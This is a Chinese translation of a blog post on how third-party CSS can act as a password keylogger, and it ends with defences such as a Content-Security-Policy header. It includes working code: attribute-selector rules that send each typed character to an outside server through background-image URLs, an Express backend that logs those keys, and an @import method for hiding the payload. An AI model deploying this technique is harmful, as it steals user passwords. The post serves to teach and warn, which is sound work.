错过的前端漏洞(1):CSS 并不像你想象的那么安全!
在本系列文章中,我想探讨一些我感兴趣的与安全相关的前端问题。我会尝试用代码来测试这些想法,并记录我的发现,至少供将来参考。
本系列的第一篇是关于 CSS 的,没错,就是那个天真可爱的 CSS。一段不安全的 CSS 代码(无论是第三方库还是用户生成的)都可能导致严重的安全隐患。
不久前,我看到一些推文说,第三方可以使用 CSS 为你的网站添加键盘记录器。GitHub 上也有一个 Chrome 扩展程序,提供了概念验证。
其背后的想法非常简单:
- 你添加了一个 CSS 库(你自己认为那些知名的库太重了,然后你在 npm 上遇到了这个新奇的 CSS 库)
- 它们为您提供了一些有用的类,如 tailwind 或 bootstrap(为此,它们甚至不需要您将任何 Javascript 资产导入到您的项目中,CSS 就足够了)。
- 在其数千行代码中,存在一些可能窃取客户数据的错误逻辑。
但这怎么可能呢!
让我们想一想...黑客需要什么才能编写一个简单的键盘记录器?
- 跟踪一些用户输入(例如密码)
- 将其发送到他们的服务器
input[type="password"][value="a"] { background-image: url("https://hackerserver/add-key?val=a"); }
通过这行简单的代码:
- 跟踪用户输入:只要输入字段的值是
a
,他们就知道。 - 将其发送到他们的服务器:通过添加背景图像
input
,他们基本上会触发GET
对其服务器的调用并可以返回一个空像素,因此您甚至不会注意到它。
这仅适用于<input/>
值为 的a
,但很容易将 CSS 选择器从
input[type="password"][value="a"]
到
input[type="password"][value$="a"]
现在他们只寻找以结尾的密码输入a
,现在您可以简单地对所有字符执行此操作,并且每次用户输入新值时,都会向他们的服务器发出新请求,瞧,它就起作用了……
让我们来实现它吧!
后端(github):
为此,我决定使用一个非常基础的 Express 服务器。在这个简短的代码片段中,express.static
它负责提供第三方所需的 CSS 文件,并且还添加了两个主要端点。
const express = require("express");
var cors = require('cors')
const app = express();
app.use(cors())
app.use('/static', express.static('public'))
const port = process.env.PORT || 8080;
app.get("/css-keylogger/add-key", require('./routes/css-keylogger/addKey'));
app.get("/css-keylogger/keys", require('./routes/css-keylogger/getKeys'));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`);
});
1. 提供前端第三方样式(github):
该文件应该提供受害者客户端所需的一些基本 CSS 功能,在这种情况下,我添加了一些我们稍后在前端需要的非常有用的样式。
但是,在文件末尾你会看到以下几行:
...
input[type="password"][value$="A"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=A"); }
input[type="password"][value$="B"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=B"); }
input[type="password"][value$="C"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=C"); }
input[type="password"][value$="D"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=D"); }
input[type="password"][value$="E"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=E"); }
input[type="password"][value$="F"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=F"); }
input[type="password"][value$="G"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=G"); }
input[type="password"][value$="H"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=H"); }
input[type="password"][value$="I"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=I"); }
input[type="password"][value$="J"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=J"); }
input[type="password"][value$="K"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=K"); }
input[type="password"][value$="L"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=L"); }
input[type="password"][value$="M"] { background-image: url("https://security-check-playground.herokuapp.com/css-keylogger/add-key?val=M"); }
...
2. 添加新按键的端点(github):
现在,当用户使用此 CSS 文件时,每次在密码输入框中按键,服务器都会被调用一次GET
。在这个端点中,我们保存了最近按键的结果,并可以返回一个空像素:
const cssKeyLoggerAddKeyHandler = async (req, res) => {
// push the recent key stroke to logs
const key = req.query.val;
const time = new Date().getTime();
loggedKeys.push({ time, key });
// transparent 1x1 pixel
const imgData =
"data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==";
const base64Data = imgData.replace(/^data:image\/gif;base64,/, "");
const img = Buffer.from(base64Data, "base64");
res.writeHead(200, {
"Content-Type": "image/png",
"Content-Length": img.length,
});
res.end(img);
};
3. 获取端点列表的端点(github)
为了简单起见,我们可以将记录的密钥存储在一个变量中,并为黑客创建一个小型仪表板,以获取最近记录的密钥列表:
const cssKeyLoggerGetKeysHandler = async (req, res) => {
res.json(loggedKeys)
};
前端:
对于前端,我们可以使用一个非常小的 create-react-app 项目,并添加一个登录表单,该表单将在提交时渲染欢迎组件。为了能够从黑客的角度查看结果,我添加了另一个选项卡,以便从黑客的角度获取和查看结果。
该表单使用第三方提供的 CSS 类名。您可以在黑客面板中查看结果。
为什么几乎不可能调试这个问题?
你可能会想,既然我已经意识到了这一点,每次更新后我都会升级第三方库,检查密码字段的网络选项卡,这样就没问题了。又或者,你可能会想,我已经在使用 snyk.io 或 GitLab 安全软件,一旦出现风险,他们就会通知我。很遗憾,并非如此!让我们设身处地地想想,一个聪明的黑客就知道了。他们知道你了解这一点,所以如果他们能以某种方式隐藏网络请求,他们就赢了。
有怪物叫@import
!
说实话,在开始做这件事之前,我甚至不知道 CSS 里可以引入 CSS,我以为@import
只能用于字体。但后来我发现几乎所有浏览器都支持它(连 IE6 都支持,那就没什么好说的了……)
因此,通过执行@import
不安全的第三方代码可以添加动态导入。因此,让我们用 重写样式@import
。为此,我们只需添加:
@import url("./keyloggerStyles.css");
在第三方 CSS 文件之上,并创建一个keyloggerStyles.css
包含所有错误逻辑的文件。
因此,黑客可以轻松地将恶意逻辑添加到他们自己服务器上的单独 CSS 文件中并引用它。当您最初测试第三方时,不会发生任何不良事件(键盘记录器文件为空)。他们甚至不需要您升级到损坏的版本。有一天,当您可能正在睡觉时,他们可以更改其服务器上损坏文件的内容,并窃取用户信息一段时间,然后他们可以再次删除该逻辑,而没有人会知道任何事情。
这个代码沙盒就是对同一功能的简单实现。黑客可以随意更改键盘记录器 CSS 文件的内容,然后打开它,只要用户重新加载页面并填写表单,键盘记录就会发生。
那么我们能做什么呢?
好吧,首先要说的是,我们需要谨慎。完全避免使用第三方资源是不可能的。但是,最好自行托管这些资源。对于这种特殊情况,确保没有你未允许的额外网络请求也非常重要。此外,打开第三方资源的 CSS 文件,确保它们没有在@import
没有正当理由的情况下使用,或许是个好主意。
正如韦斯利在评论中所建议的,一个好的解决方案是这样的:
- 自托管所有资产(或者当然使用已知的 CDN)
- 确保
@import
分发中没有 CSS。 - 将内容安全策略 (CSP) 元标记添加到您的 HTML 文件。通过管理白名单服务器,您可以阻止任何发送到其他服务器的不必要的网络请求。一个简单的元标记如下所示:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
这default-src
部分是加载 JavaScript、图片、CSS、字体、AJAX 请求等的默认策略,self
意味着只允许来自同一域名的请求。但是,请记住,如果有任何外部请求,则必须将其添加为允许的。
另一个需要注意的是,即使只有一个@import
来自可疑服务器的实例(并且据称其中包含一些项目所需的重要 CSS 类),您也必须确保只允许该单个文件,而不允许来自该服务器的其他端点。否则,即使您将整个域名列入白名单,问题仍然会存在。
除了这些要点之外,还有一些漏洞数据库可以帮助我们应对那些广为人知的安全风险。诸如 snyk.io 或 GitLab 证券之类的服务集成可以帮助发现一些新的问题。
文章来源:https://dev.to/mizadmehr/missed-frontend-vulnerability-1-css-is-not-as-safe-as-you-think-3l64